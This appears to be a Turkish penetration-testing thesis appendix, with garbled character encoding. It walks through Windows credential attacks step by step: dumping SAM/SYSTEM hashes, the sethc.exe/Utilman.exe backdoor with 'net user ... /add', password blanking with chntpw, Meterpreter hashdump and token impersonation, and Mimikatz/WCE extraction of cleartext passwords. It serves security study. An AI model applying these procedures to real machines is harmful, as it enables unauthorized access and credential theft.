A.1 Tak Çal³tr(Live CD)/USB Bellek ile Açma
Bilgisayar BIOS ayarlarndan CD-ROM'u boot edecek ³ekilde ayarlar yaplr. BIOS'tan
CD-ROM ba³latlacak ayar ³ekil A.1 üzerinde gösterilmi³tir.
ekil A.1: BIOS Boot Ayarlarndan CD-ROM Ayarlanmas
Sonra CD-ROM'dan Live olarak i³letim sistemi ³ekil A.2 üzerinde görüldü§ü gibi çal³-
trlr.
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ekil A.2: ³letim Sisteminin Live Seçilmesi
Açlnca hedef i³letim sisteminin hardiski ³ekil A.3 üzerinde görüldü§ü gibi seçilir.
ekil A.3: ³letim Sistemi Sabit Diskinin Seçilmesi
Bu i³lem sonunda Windows i³letim sisteminin sistem dosyalarna ula³ld. stenen dosyay
kullanmak için ³ekil A.4 üzerinde görüldü§ü gibi tklanarak devam edilir.
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ekil A.4: ³letim Sisteminin Windows Dosya Sistemi
A.2 Samdump2 ve Bkhive Araçlar ile Yerel Kullanc Pa-
rola Özetlerini Elde Etme
EK A.1 üzerinde anlatlan; `Samdump2' ve `bkhive' araçlar ile uygulanan yönteme ben-
zer bir yöntem kullanlacaktr.
Bilgisayar BIOS boot ayarlar CD-ROM üzerinden çal³mas için ³ekil A.1 üzerinde gö-
rüldü§ü gibi ayar yaplr.
Sonra Kali Live i³letim sistemi ile ³ekil A.2 üzerinde görüldü§ü gibi açlmas sa§lanr.
`SAM' ve `SYSTEM' dosyalar ‘Windows/system32/conﬁg′ dizinin altndadr. ekil A.5
üzerinde görüldü§ü gibi kopyalanp belirli bir dizine alnr.
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ekil A.5: Sam ve System Dosylarnn Kopyalanmas
Kali i³letim sisteminin komut satrnda iken `bkhive SYSTEM SAM_Anahtari' komutu
verilerek `SYSTEM' dosyasndan `SYSKEY' ³ekil A.6 üzerinde görüldü§ü gibi elde edilir.
ekil A.6: SYSTEM SAM Anahtarnn Elde Edilmesi
Sonra `SAM' dosyas `samdump2' arac ile `samdump2 SAM SAM_Anahtari ' komutu
ile çal³trlr. ekil A.7 üzerinde görüldü§ü gibi yerel kullanclarn parola özetleri elde
edilir.
ekil A.7: Hesaplara Ait Parola Özetlerinin Elde Edilmesi
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A.3 Ophcrack Arac ile Yerel Kullanc Parola Özetlerini
Elde Etme
Konu 2.1.2.1 üzerinde anlatlan, `Samdump2' ve `bkhive' araçlar ile uygulanan yönteme
benzer bir yöntem kullanlacaktr.
Önce bilgisayar BIOS boot ayarlar yaplarak CD-ROM üzerinden i³letim sistemi ³ekil
A.1 üzerinde görüldü§ü gibi açlr.
Tak çal³tr (Live cd) ile ³ekil A.2 üzerinde görüldü§ü gibi açlr.
`SAM' ve `SYSTEM' dosyalar ‘Windows/system32/config′ dizinin altndadr. ekil A.5
üzerinde görüldü§ü gibi kopyalanp belirli bir dizine alnr.
Sonra `SAM' ve `SYSTEM' dosyalar `Ophcrack' ile i³lenecektir. Kali i³letim sisteminin
komut satrnda iken `ophcrack' yazlarak Enter'a baslr. ³lem sonucunda görüldü§ü
üzere aracn arayüzü açlm³tr. ekil A.8 üzerinde görüldü§ü gibi ophcrack arayüzü-
nün Load > Encrypted `SAM' seçilerek bulundu§u dizinden `SAM/SYSTEM' dosyalar
`Ophcrack'a yüklenilir.
ekil A.8: Dosyalarn Bulundu§u Klasörden Ophcrack'a Yüklenmesi
Sonuç olarak ³ekil A.9 üzerinde görüldü§ü gibi kullanc parola özetleri elde edilir.
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ekil A.9: Opcrack ile Hesap Özetlerinin Elde Edilmesi
A.4 Cain & Abel Arac ile SAM ve SYSTEMDosyalarndan
Yerel Kullanclarn Parola Özetlerinin Elde Edilmesi
EK A.2 konusunda anlatld§ üzere `SAM' ve `SYSTEM' dosyalar elde edildikten sonra
`Cain & Abel' arac ile a³a§daki gibi hash de§erleri elde edilebilir.
`Cain & Abel' aracn çal³trdktan sonra üstten 3. araç çubu§unda bulunan Cracker
sekmesine tklanlr. Sonra sol dikey panelin en ba³ndaki Cracker 'a tklayp ve en sa§daki
bo³ alana tklanlr. Yaplan i³lem ³ekil A.10 üzerinde gösterilmi³tir.
ekil A.10: Cain & Abel ile Özet Dosyalarn Açma
EK-A Fiziksel Güvenli§i Atlatma 91
Yukardaki admlar gerçekle³tirildikten sonra üsten 2. araç çubu§unda bulunan art i³a-
reti ile `Add NT Hashes from' penceresinin açlmas sa§lanr. Yaplan i³lem ³ekil A.11
üzerinde gösterilmi³tir.
ekil A.11: Add NT Hashes From Pencersini Açma
Açlan `Add NT Hashes from' penceresinden `Sam File Name' ksmna `SAM' dosyas
verilir. Yaplan i³lem ³ekil A.11 üzerinde gösterilmi³tir.
ekil A.12: Cain & Abel'e Sam Dosyasn Verme
`Sam File Name' ksmnn hemen altndaki `Boot Key (HEX)' ksmna ise `SYSTEM'
dosyas verilir. Burada çkan SYSTEM de§eri kopyalanarak `Boot Key (HEX)' ksmna
yap³trlr. Yaplan i³lem ³ekil A.13 üzerinde gösterilmi³tir.
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ekil A.13: SYSKEY De§erinin Encode Edilmesi
Next butonuna tklanlarak i³lem tamamlanm³ olur. Veriler üzerinde iken sa§ tklayp
export seçildi§inde parola özetlerini d³arya text olarak vermektedir. Yaplan i³lem ³ekil
A.14 üzerinde gösterilmi³tir.
ekil A.14: Cain & Abel ile Sam ve Sytem Dosyasndan Özet Elde Etme
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A.5 Windows'u Repair Modunda Ba³latma
Windows i³letim sistemli bilgisayar ³ekil A.15 üzerinde görüldü§ü gibi Repair Modunda
ba³latlr.
ekil A.15: Launch Start Repair Seçilmesi
Daha sonra gelen ekranda ³ekil A.16 üzerinde görüldü§ü gibi `Restore' seçene§ini seçme-
yerek `Cancel' seçene§ine tklanlr.
ekil A.16: Cancel Seçilmesi
Bu admda ise açlan pencerede hata mesaj gelecektir. ekil A.17 üzerinde görüldü§ü
gibi mesajn alt ksmnda `Viev Problems Details' ksm seçilir.
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ekil A.17: Viev Problems Details Seçilmesi
Açlan pencerenin en alt ksmna ‘X : /windows/system32/enUs/erofflps.txt′ tkla-
nnca text dosyas açlr. Text dosyasnn `File' ksmndan `Save as' seçilir ve Windows
dosya sistemi açlr. Windows'un içindeki bütün dosyalar görmek için `Files of Type '
ksm `All Files' yaplr. Yaplan i³lem ³ekil A.18 üzerinde gösterilmi³tir.
ekil A.18: All Files Seçilmesi
Bu i³lem gerçekle³tirildikten sonra cmd.exe komut satrna ula³mak gerekecektir. Deva-
mndaki i³lemler için A.6 konusuna baknz.
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A.6 Utilman.exe ve Sethc.exe Ksayollarn stismar
ekil A.19 üzerinde görüldü§ü gibi Sytem32 dosyasna ula³larak `sethc.exe' ve `Util-
man.exe' dosya isimleri de§i³tirilir.
ekil A.19: Utilman.exe veya Sethc.exe simlerinin De§i³itirilmesi
ekil A.20 üzerinde görüldü§ü gibi `cmd.exe' uygulamasnn adn `sethc.exe' olarak veya
`Utilman.exe' olarak de§i³tirilir.
ekil A.20: Cmd.exe Kopyalanp sminin Utilman.exe veya Sethc.exe Yaplmas
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Bu i³lemler sonucunda Windows i³letim sistemini yeniden ba³latp `Login' ekranna ge-
lindi§inde sol alt kö³ede bulunan ikona tklannca `cmd.exe' açlmaktadr. ³lem ³ekil
A.21 üzerinde gösterilmi³tir.
ekil A.21: Cmd.exe'nin Çal³trlmas
Windows i³letim sistemi komut satr çal³trldktan sonra ³ekil A.22 üzerinde görül-
dü§ü gibi `net user Testuser Aa123456 /add' komutu ile `Testuser' adnda ve `Aa123456'
poralas olan bir kullanc eklenilir.
ekil A.22: Kullanc Eklenmesi
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Son olarak olu³turulan bu kullanc ³ekil A.23 üzerinde görüldü§ü gibi `net localgroup
Administrators Testuser /add' komutu ile local admin grubuna dahil edilir.
ekil A.23: Kullancnn Local Admin Grubuna Dahil Edilmesi
Saldrnn sonucuda gerçekle³en de§i³ikli§i görmek için bilgisayar `Restart' yaplarak ye-
niden ba³latlr. ekil A.24 üzerinde görüldü§ü gibi sadece iki kullanc mevcuttur.
ekil A.24: Bilgisayarn Restart Edilmesi
Bilgisayar açlnca ³ekil A.25 üzerinde görüldü§ü gibi olu³turulan `Testuser' kullancs
sisteme eklenmi³tir.
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ekil A.25: Testuser Kullancs ile Giri³ Yaplmas
A.7 Hirens Boot ile Parola Sfrlama
ekil A.1 üzerindeki admlar uygulayarak hedef bilgisayar BIOS boot ayarlarndan Hi-
rens BootCD, CD veya USB bellek ile açlacak ³ekilde ayar yaplr. Açlan pencerede
ise ³ekil A.26 üzerinde görüldü§ü gibi `Oine NT/2000/XP/Vista/7 Password Changer'
seçene§i seçip Enter'a baslr.
ekil A.26: Password Changer Seçilmesi
Sonraki admda ise yine Enter'a baslarak devam edilir. Burada linux çekirdek yüklemeleri
yaplmaktadr . Yaplan i³lem ³ekil A.27 üzerinde gösterilmi³tir..
ekil A.27: Sonraki Adma Geçilmesi için Enter'a Baslmas
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Bu admda ise hangi disk seçilmesi istenmektedir ve hedef bilgisayarn diski seçilir. Select
ksmna 2 yazlarak Enter'a basp devam edilir. Yaplan i³lemler ³ekil A.28 üzerinde
gösterilmi³tir.
ekil A.28: Hedef Bilgisayar Diskinin Seçilmesi
Bu i³lemde dosyaya yazlp yazlmamas sonucunda olu³abilecek riskler belirtilmektedir.
`Y' yazlarak devam edilir. Yaplan i³lem ³ekil A.29 üzerinde gösterilmi³tir.
ekil A.29: Dosya Sistemi Mesaj
`SAM' dosyasnda parola özetini varsaylan yapaca§mzdan ³ekil A.30 üzerinde görül-
dü§ü gibi Enter'a baslarak devam edilir.
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ekil A.30: Kayt Defterindeki Dosya Yolu Do§rulu§unun Kontrolü
Bu admda ise hangi i³lemin yaplmas istenmektedir. Parola sfrlanaca§ndan 1. seçenek
seçilerek ³ekil A.31 üzerinde görüldü§ü gibi devam edilir.
ekil A.31: Password Reset Seçilmesi
Bu admda da ³ekil A.32 üzerinde görüldü§ü gibi 1. seçenek seçilerek i³leme devam edilir.
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ekil A.32: Edit User Data and Passwords Seçilmesi
Bu admda ise hedef bilgisayarda var olan kullanclar listelenmektedir. Hangi kullancnn
parolas sfrlanmak isteniyorsa ³ekil A.33 üzerinde görüldü§ü gibi o kullancnn ad
yazlp Enter'a baslr.
ekil A.33: Parolas Sfrlanacak Kullancnn Yazlmas
Bu admda yaplacak i³lem parolay silmek oldu§undan ³ekil A.34 üzerinde görüldü§ü
gibi 1. seçenek seçilip devam edilir.
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ekil A.34: Clear (blank) User Password Seçilmesi
Yaplan bu i³lemler sonucunda ³ekil A.35 üzerinde görüldü§ü gibi `Password cleared!'
mesaj verildi. Dolaysyla parola sfrlanm³tr.
ekil A.35: Parolann Sfrlanmas
E§er ba³ka kullancnn parolas silmek veya sfrlanmak isteniyorsa kullanc adnn ya-
zlmas için gerekli alan verilmektedir. Ya da herhangi bir i³lem yapmadan ³ekil A.36
üzerinde görüldü§ü gibi çkmak için `!' i³areti kullanlr.
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ekil A.36: Parola Sfrlama Ekranndan Çk³ Yaplmas
Bu admda yaplacak herhangi bir i³lem kalmad§ndan `q' harﬁne baslarak çk³ yaplr.
E§er bu ³ekilde çk³ i³lemi yaplmazsa bo³ parola `SAM' dosyasna yazlmayaca§ndan
parola sfrlanmam³ olacaktr. ekil A.37 üzerinde görüldü§ü gibi ekrandan çk³ yaplr.
ekil A.37: ³lemlerin Kaydedilerek Çk³ Yaplmas
Bu a³amada hedef bilgisayar yeniden ba³latlr ve son durum kontrol edilir.
ekil A.38 üzerinde görüldü§ü gibi açld§nda kerem kullancsna ait parolann sfrlan-
m³tr.
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ekil A.38: Mevcut Kullanclar
Sonuç olarak kerem kullancs ile ³ifresiz sisteme giri³ yapld. Local kullanc ve gruplar
ksmndan kullanclara bakld§nda ise ³ekil A.38 üzerinde bulunan aktif kullanclar
yine ³ekil A.39 üzerinde görüldü§ü gibi bu listede mevcuttur.
ekil A.39: Local User'daki Mevcut Kullanclar
A.8 CHNTPW ile Parola Sfrlama
Hedef bilgisayara ﬁziksel yöntemlerle ula³labildi§i önceki konularda anlatlm³t. Burada
ise A.1 konusundaki admlar uygulayarak hedef bilgisayar tak çal³tr (live cd) ile açlr.
ekil A.40 üzerinde gösterildi§i gibi `SAM' dosyasna ula³lr.
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ekil A.40: SAM dosyasna Ula³lmas
`SAM' dosyasna sa§ tklayarak özelliklerine girilir ve bulundu§u dizin yolu kopyalanr ya
da bu dosya yolu manuel de yazlabilir. Yaplan i³lem ³ekil A.41 üzerindegösterilmi³tir.
ekil A.41: SAM Dizin Yolunun Kopyalanmas
Devam olan bu a³amada ³ekil A.42 üzerinde görüldü§ü gibi `cd /media/root/F88401232C
/Windows/System32/conﬁg' komutu ile `conﬁg' dosyasna girilir.
ekil A.42: SAM Dizinine Girilmesi
Bu a³amada ise `chntpw -u Administrator SAM' komutu ile Administrator kullancsnn
parolas sfrlanacaktr. Yaplan i³lem ³ekil A.43 üzerinde gösterilmi³tir.
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ekil A.43: Parolas Sfrlanacak Kullanc ³lemi
Çal³trdktan sonraki a³amada ise ³ekil A.44 üzerinde birkaç seçenek sunmaktadr. Bu
seçeneklerden ilki parola silme için kullanlr. Bu yüzden ³ekil A.44 üzerinde görüldü§ü
gibi ilk seçenek seçilerek Enter'a baslr.
ekil A.44: Parola Silinmesinin Seçilmesi
Yaplan bu i³lemler sonucunda ³ekil A.45 üzerinde görüldü§ü gibi `Pasword cleared!'
mesaj vermektedir ve dolaysyla parola silinmi³tir.
ekil A.45: Parolann Silinmesi
Son a³amada ise hedef bilgisayarda çal³an tak çal³tr (live cd) devre d³ braklarak
normal i³letim sisteminden ba³latlr. Yaplan i³lemlerde ³ekil A.46 ve A.47 üzerinde
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görüldü§ü gibi parolas silinen ya da sfrlanan kullanc ile giri³ yaplr ve yerel kullan-
clardan kontrol edilir.
ekil A.46: Hedef Bilgisayardaki Mevcut Kullanclar
ekil A.47: Hedef Bilgisayarn Local Users'daki Mevcut Kullanclar
Görüldü§ü üzere parolasz olarak sisteme giri³ yaplm³tr.
Ek B
SAM/SYSTEM ve Hesap
Özetlerinin Elde Edilmesi
B.1 Yerel Yönetici Haklar ile SAM ve SYSTEM Dosyala-
rnn Elde Edilmesi
Windows i³letim sistemlerinde `SAM' ve `SYSTEM' dosyalar üzerinden kimlik do§ru-
lama yapld§ndan dolay kritik öneme sahiptirler. Normalde ³ekil B.1 üzerinde görül-
dü§ü gibi açk bir sistemde `SAM' ve `SYSTEM' dosyalarna eri³im gerçekle³tirilemez.
ekil B.1: Sistem Açkken Sam ve System Dosyalarnda ³lem Yaplmas
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Ancak bununla birlikte kayt defteri üzerindeki `SAM' ve `SYSTEM' kaytlarna gerçek
zamanda eri³im sa§lanabilmektedir. `SAM' dosyasn `C' dizinine kaydetmek için Win-
dows i³letim sistemi komut satrndan `reg save HKLM/SAM C : /SAM ' komutu
verilir. Ayn ekilde `SYSTEM' dosyasn `C' dizinine kaydetmek için yine komut satrn-
dan `reg save HKLM/SY STEM C : /SY STEM ' komutu kullanlr. Yaplan i³lemler
³ekil B.2 üzerinde gösterilmi³tir.
ekil B.2: Sam ve System Dosyalarnn Kaydedilmesi
B.2 Cain & Abel ile Yerel Hesaplara Ait Parola Özetlerinin
Elde edilmesi
`Cain & Abel' arac çal³trldktan sonra üstten 3. araç çubu§unda bulunan `Cracker'
sekmesine tklanlr. Sonra sol dikey panelden `LM&NTLM Hashes(0)' seçene§ine tkla-
nlr. Sonra 2. araç çubu§unda bulunan art i³areti ile açlan pencereden `mport Hashes
from local system' i³aretli olacak ³ekilde `Next' butonuna tklanlr. Yaplan i³lemler ³ekil
B.3 üzerinde gösterilmi³tir.
EK-B Yerel Yönetici Haklar ile SAM/SYSTEM ve Hesap Özetlerinin Elde Edilmesi110
ekil B.3: Cain & Abel ile Çal³an Sistemde Alanlarn Seçilmesi
Yaplan i³lem sonucunda mevcut çal³an bir i³letim sisteminden ³ekil B.4 üzerinde görül-
dü§ü gibi `Cain & Abel' arac ile parola özetleri elde edilmi³tir.
ekil B.4: Cain & Abel ile Çal³an Sistemde Hesap Özetlerinin Elde Edilmesi
B.3 HashdumpModülü ile Parola Özetlerinin Elde Edilmesi
Önce mevcut durumdaki kullanc kimli§i ve proses ID de§erine baklr. Çünkü sistem
haklarnda olmas gerekmektedir. Yaplan i³lem ³ekil B.5 üzerinde gösterilmi³tir.
ekil B.5: Yetki Durumu
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`Meterpreter' üzerinde çal³ma devam etti§inden background komutunu verilerek arka
planda `Meterpreter' oturumu kapatmadan beklemeye alnr. Bu oturumu daha sonra
çal³trmak üzere Set SESSION <oturum numaras> komutu ile set edilir. Çal³lan 7.
oturum oldu§undan Set SESSION 7 komutu verilir. `Hashdump' exploitini çal³trmak
için ise use post/Windows/gather/hasdump komutu verilir. Yaplan son ayarlar kontrol
etmek için ³ekil B.6 üzerinde görüldü§ü gibi `show options' komutu verilir.
ekil B.6: Hashdump Post Modülü Ayarlarnn Yaplmas
Son a³ama olarak `Meterpreter' oturumunda parola özetlerini görmek için ³ekil B.7 üze-
rinde görüldü§ü gibi `run' veya `exploit' komutu verilir.
ekil B.7: Hashdump Post Modülünün Çal³trlmas
B.4 Hashdump Modülü ile Yerel Hesap Bilgileri Özetlerinin
Elde Edilmesi
2.7 ve 2.9 konularnda anlatld§ üzere gerekli yetkiler elde edildikten sonra exploit edi-
lerek `Meterpreter' ba§lants elde edilir. Bu i³lemden sonra ³ekil B.8 üzerinde görüldü§ü
gibi `hashdump' komutu çal³trlarak di§er yerel kullanclarn parola özetleri elde edilir.
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ekil B.8: Hashdump Modülü ile Hesap Özetlerinin Alnmas
Not: `Meterpreter' `hashdump' komutu kullanlarak `Lsass proses'ine komut enjekte edil-
di§inden i³letim sisteminin kararll§ olumsuz etkilenip sistemin bozulmasna sebep ola-
bilmektedir.
B.5 Smart_Hashdump Modülü ile Etki Alan Üzerindeki
Hesap Özetlerini Elde Etme
EK B.4 konusunda anlatlan `hashdump' post modülünün çal³t§ sistem yetkilerine
sahip proses ile çal³lacaktr. Aksi halde sonuç alnamayacaktr.
`Smart_hashdump' exploitini çal³trmak için `use post/Windows/gather
/smart_hasdump' komutu verilir. `Meterpreter'da beklemeye alnan 7. oturumu `set
SESSION 7' komutu ile set edilerek çal³trlacaktr. Son ayarlarn kontrolü için ³ekil B.9
üzerinde görüldü§ü gibi `show options' komutu verilir.
ekil B.9: Smart_Hashdump Post Modülü Ayarlarnn Yaplmas
Ayarlarn sürekli kontrol edilmesi önemlidir. Çünkü olas bir aksaklk uzun bir süre u§-
ra³ gerektirecektir. Bu yüzden her adm kontrol edilmelidir. Ayarlar kontrol edilir ve
son olarak ³ekil B.10 üzerinde görüldü§ü gibi run veya exploit komutu ile `Meterpreter'
çal³trlr.
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ekil B.10: Smart_Hashdump Post Modülünün Çal³trlmas
E§er bu oturumlarda etki alan ile ba§lanan kullanc olmu³ olsayd smart_hashdump
post modülü o hesaplara ait parola özetlerinin alnmasn sa§layacakt. Ancak hashdump
modülü bu i³lemi gerçekle³tirememektedir.
Ek C
RAM Üzerinde Kaytl Jetonlar
Elde Etme
C.1 Steal_Token Modülü ile Ba³ka Bir Hesabn Kimli§ine
Bürünme
ekil C.1 üzerinde görüldü§ü gibi Merhaba.txt adl dosyann sahipli§i ve eri³ime izinli
olarak mesut kullancs varsaylm³tr.
ekil C.1: Merhaba.txt Dosyasnn Sahip Oldu§u Yetki Kontrolü
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Merhaba.txt dosyasnn eri³im izni sadece mesut kullancsnda oldu§u için bu dosyaya
ula³abilmek ancak mesut kullancsnn kimli§ine bürünmekle gerçekle³ebilir. 2.2 konu-
sunun alt ba³lklarnda anlatld§ ve uyguland§ üzere hesaplar ele geçirilmi³ti. Ayn
³ekilde devam edilerek kullancnn çal³t§ `PID' numarasna baklr. ekil C.2 üzerinde
görüldü§ü gibi proses ait `ID 280'dir.
ekil C.2: Prosesin lk Ba³ta Sahip Oldu§u Yetki Kontrolü
Yine ayn ³ekilde 2.2 konusunda i³lendi§i ve ³ekil B.7 üzerinde görüldü§ü gibi `SYSTEM'
haklar ile `hashdump' post modülünün çal³trlabildi§i ve yerel hesaplara ait parola
özetlerinin elde edilebildi§ini görülmü³tü.
Bu durum göz önünde bulundurularak sistem hesabnn Merhaba.txt dosyasnn üzerinde
okuma hakknn olup olmad§ kontrol edilir. `Meterpreter'de iken `shell' komutu ile sis-
temin komut dosyasna (cmd.exe) girilir. Burada hangi hesapla oturum açld§n kontrol
etmek için `whoami' komutu verilir. Sonra `cd C : /Users/mesut/Desktop' komutu ile
dosyann bulundu§u masaüstüne gidilir. ekil C.3 üzerinde görüldü§ü gibi `type Mer-
haba.txt' komutu ile dosya okunmak istendi§inde okuma hakk olmad§ndan herhangi
bir i³lem yaplamamaktadr.
ekil C.3: Merhaba.txt Dosyasn Okuma Yetkisi Kontrolü
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Hedef bilgisayar olan mesut kullancsnn bilgisayarnda iken prosesleri Meterpreter'da
`ps −U Sehir-PC' komutu ile görülebilir. mesut kullancsna ait bu proseslerden uygun
olan birisinin kimli§ine bürünmek için `steal_token 1528' (burada 1528 ilgili prosese ait
PID numarasdr) seçilir. `getuid' komutu ile `Sehir-PC mesut' ³eklindeki bir sonuçla
mesut kullancs oldu§u görülür. Ancak `getpid' komutu çal³trld§nda ise ID numa-
rasnn 280 oldu§u yani de§i³medi§i ³ekil C.4 üzerinde gösterilmi³tir. Dolaysyla sadece
yetki devrinin gerçekle³ti§i, kapsam olarak mesut kullancsnn kimli§ine bürünüldü§ü
anla³lr.
ekil C.4: Hedef Bilgisayarda Çal³an Proses Kontrolü ve Steal_Token Çal³trlmas
Mesut kullancsnn kimli§ine bürünmü³ olarak `hashdump' komutu çal³trld§nda pa-
rola özetlerinin elde edilemeyece§i ³ekil C.5 üzerinde gösterilmi³tir.
ekil C.5: Hashdump Post Modülünün Çal³trlmas
Yaplan bu i³lemlerden sonra mesut kullancs kimli§inin yetkisi ile Merhaba.txt dosya-
sna ula³lacaktr. Bunun için `shell' komutu ile hedef sistemin komut sistemine girilir.
Hangi hesapla oturum açld§n kontrol etmek için `whoami' komutu girilir. Sonra `cd
C : /Users/mesut/Desktop' komutu ile dosyann bulundu§u masaüstüne gidilir. ekil
C.6 üzerinde görüldü§ü gibi `type Merhaba.txt' komutu ile dosya okunmak istendi§inde
herhangi bir sorun ya³anmadan dosya okunur.
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ekil C.6: Steal_Token ile Kimli§e Bürünme ³lemlerinden Sonra Merhaba.txt Dos-
yasn Okuma Yetkisi Kontrolü
Bürünülen kimlikten çkmak için önce `exit' komutu verilerek `cmd' satrndan `Meterpre-
ter'e geçilir. Burada `rev2self' komutu verildi§inde ilk kimlik yetkilerine geri dönülecektir.
Yaplan i³lemler ³ekil C.7 üzerinde gösterilmi³tir.
ekil C.7: Çk³ ve Proses Yetki Kontrolü
C.2 Migrate Modülü ile Ba³ka Bir Hesabn Kimli§ine Bü-
rünme
ekil C.1 üzerinde görüldü§ü gibi Merhaba.txt adl dosyann sahipli§i ve eri³ime izinli
olarak mesut kullancs varsaylm³tr.
Kullanlan proses yetkilerinin kontrolü bir önceki C.1 konusunda izah edildi§i ve ³ekil
C.2 üzerinde görüldü§ü gibidir.
Yine ayn ³ekilde 2.2 konusunun altba³lklarnda i³lendi§i ve ³ekil B.7 üzerinde görül-
dü§ü gibi `SYSTEM' haklar ile `Metasploit' aracna ait `hashdump' post modülünün
çal³trlabildi§i ve yerel hesaplara ait parola özetlerinin elde edilebildi§i anlatlm³t.
Bu durum göz önüne alnarak ³ekil C.3 üzerindeki gibi Merhaba.txt dosyasnda okuma
izni olmad§ görülmektedir.
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Burada ise önce `ps' komutu ile sistemde çal³an prosesler listelenir. Sonra mesut kulla-
ncsnn haklarna sahip uygun bir proses seçilir. Bu i³lem ³ekil C.8 üzerinde görüldü§ü
gibi `migrate 2844' (2844 prosese ait PID)komutu ile `explorer.exe' prosesine sçranlr.
ekil C.8: Migrate Komutu ile Prosese Sçrama
Bir önceki C.1 konusunda anlatld§ üzere mesut kullancsnn kimli§ine bürünmü³ iken
`hashdump' komutu verildi§inde parola özetlerinin elde edilemeyece§i görülmektedir. Ya-
plan i³lemler ³ekil C.5 üzerinde gösterilmi³tir.
Sonuç olarak mesut kullancs kimli§inin yetkisi ile Merhaba.txt dosyasna ula³lacaktr.
ekil C.9 üzerinde görüldü§ü gibi dosyaya ula³ld ve okundu.
ekil C.9: Migrate ile Kimli§e Bürünme ³lemlerinden Sonra Merhaba.txt Dosyasn
Okuma Yetkisi Kontrolü
C.3 ncognito Modülü ile Ba³ka Bir Hesabn Kimli§ine Bü-
rünme
ekil C.1 üzerinde görüldü§ü gibi Merhaba.txt adl dosyann sahipli§i ve eri³ime izinli
olarak mesut kullancs varsaylm³tr.
³letim sisteminde kullanlan proses yetkilerinin kontrolü bir önceki C.1 konusunda izah
edildi§i ve ³ekil C.2 üzerinde görüldü§ü gibidir.
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Yine ayn ³ekilde 2.2 konusunda i³lendi§i ve ³ekil B.7 üzerindeki gibi `SYSTEM' haklar
ile `hashdump' post modülünün çal³trlabildi§i ve yerel hesaplara ait parola özetlerinin
elde edilebildi§i uygulamal olarak i³lenmi³ti.
Bu durumda bir önceki C.1 konusunda anlatld§ üzere Merhaba.txt dosyasnda okuma
izni olmad§ görülmektedir. Yaplan i³lem ³ekil C.3 üzerinde gösterilmi³tir.
Hedef bilgisayar olan mesut kullancsnn bilgisayarnda iken proses Meterpreter'da `ps
−U Sehir-PC' komutu ile görülebilir. `load incognito' komutu ile `incognito' eklentisini
ba³latlr. Yaplan i³lem ³ekil C.10 üzerinde gösterilmi³tir.
ekil C.10: Proses Yetki Kontrolleri ve Incognito Eklentisini Ba³latma
`Help' komutu ile hangi komutun ne i³e yarad§ görülebilir. Mesut hesabndaki tokenlar
listelemek için `list_tokens -u' komutu verilir. `Sehir-PC mesut' token' oldu§u ³ekil C.11
üzerinde görülmektedir.
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ekil C.11: Token'lar Listeleme
Yüklenen `incognito' eklentisi ile listelenen mesut kullancsna ait token ile `imperso-
nate_token Sehir-PC mesut' komutu ile token verisi ele geçirilebilir. Sonra `getuid' ko-
mutu ile kontrol edildi§inde mesut kullancs hala ayn `PID' numarasna sahip oldu§u
görülür. Dolaysyla sadece yetki devri gerçekle³mi³tir. `Meterpreter'da `ps −U Sehir-
PC' komutu ile Sehir-PC 'deki kullanclar listelenir. ekil C.12 üzerinde ki gibi `getpid'
komutu ile kontrol edildi§inde prosesin de§i³medi§i görülür.
ekil C.12: Token Verisini Elde Etme
Mesut kimli§ine bürünmü³ durumunda iken `hashdump' komutunu verildi§inde parola
özetlerinin elde edilemeyece§i ³ekil C.13 üzerinde görülmektedir.
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ekil C.13: System Yetkisi Sonras Hashdump Post Modülünün Kontrolü
Asl hedef olan mesut kullancs kimli§inin yetkisi ile Merhaba.txt dosyasna ula³makt.
ekil C.14 üzerinde görüldü§ü gibi dosya okundu ve hedefe ula³ld.
ekil C.14: Proses Yetki Kontrolleri ve Incognito Eklentisini Ba³latma
Ek D
Üzerindeki Kaytl Parolalar Elde
Etme
D.1 Mimikatz Arac ile RAM Üzerindeki Parolann Açk
Halde Elde Edilmesi
`Mimikatz' aracnn son sürümü http://blog.gentilkiwi.com/mimikatz linkinden in-
dirilebilir. Ele geçirilmi³ bir Windows sistem üzerinde arac ba³latmak için `cmd.exe'
admin yetkisi ile ba³latlmaldr. Bulundu§u klasöre `cd' komutu ile girip, i³letim sistemi
64 bit ise veya 32 bit ise ona göre sürümü çal³trlr. Yaplan i³lemler ³ekil D.1 üzerinde
gösterilmi³tir.
ekil D.1: Mimikatz Aracnn Çal³trlmas
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Parolalar açk halde elde edebilmek için `sekurlsa::logonPasswords all' komutu verilir.
ekil D.2 üzerinde görüldü§ü gibi kullanc ad ve parola elde edildi.
ekil D.2: Mimikatz Arac ile Açk Parola Elde Edilmesi
³lem sonras `Mimikatz' aracndan çkmak için ³ekil D.3 üzerinde görüldü§ü gibi exit
komutu verilir.
ekil D.3: Mimikatz Aracndan Çk³ Yaplmas
D.2 WCE Arac ile RAM Üzerindeki Parolann Açk Halde
Elde Edilmesi
Windows i³letim sistemi kimlik do§rulama paketlerindeki kullanc bilgilerini RAM üze-
rinde tutmaktadr. `WCE' arac ise bu bilgileri ram üzerinden okumaktadr. E§er kimlik
bilgileri ³ifreli ise ³ifreleme anahtarna ula³arak kimlik bilgilerinin ³ifresini çözer.
`WCE' aracnn son sürümü http://www.ampliasecurity.com/research/wcefaq.html
linkinden indirilebilir.
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Ele geçirilmi³ Windows sistemi üzerinde arac ba³latmak için `cmd.exe' admin yetkisi ile
ba³latlr. Bulundu§u klasöre `cd' komutu ile girip, i³letim sistemi 64 bit ise veya 32 bit
ise ona göre sürümü çal³trlr. Yaplan i³lemler ³ekil D.4 üzerinde gösterilmi³tir.
ekil D.4: WCE Aracnn Çal³trlmas
ekil D.5 üzerinde görüldü§ü gibi parolann açk halini elde edebilmek için `-w' paramet-
resini vererek Enter'a baslr.
ekil D.5: WCE Arac ile Açk Parola Elde Edilmesi
D.3 Lsass Prosesine Ait Dump Dosyasndan Mimikatz Arac
ile Parolalarn Elde Edilmesi
Ele geçirilmi³ bir Windows sistem üzerinde görev yöneticisi (task manager) çal³trlr.
`Processes' lere tklanp `lsass.exe' bulunur. `Lsass.exe' bulunduktan sonra ³ekil D.6 üze-
rinde görüldü§ü gibi sa§ tklayp `Create Dump File' seçilir.
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ekil D.6: Lsass Prosesinden Dump Alma ³lemi
ekil D.7 üzerinde görüldü§ü gibi bilgisayarn uzun süre açk kalmas veya RAM kapasi-
tesinin yüksek olmas gibi sebepler dump almay uzatabilir.
ekil D.7: Dump Alma ³lem Süresi
Dump alma i³lemi bitti§inde, `The ﬁle has been successfully' mesaj Dump alma i³leminin
ba³ar ile bitti§ini gösterir ve c : /Users/mesut/AppData/Local/Temp/lsass.DMP
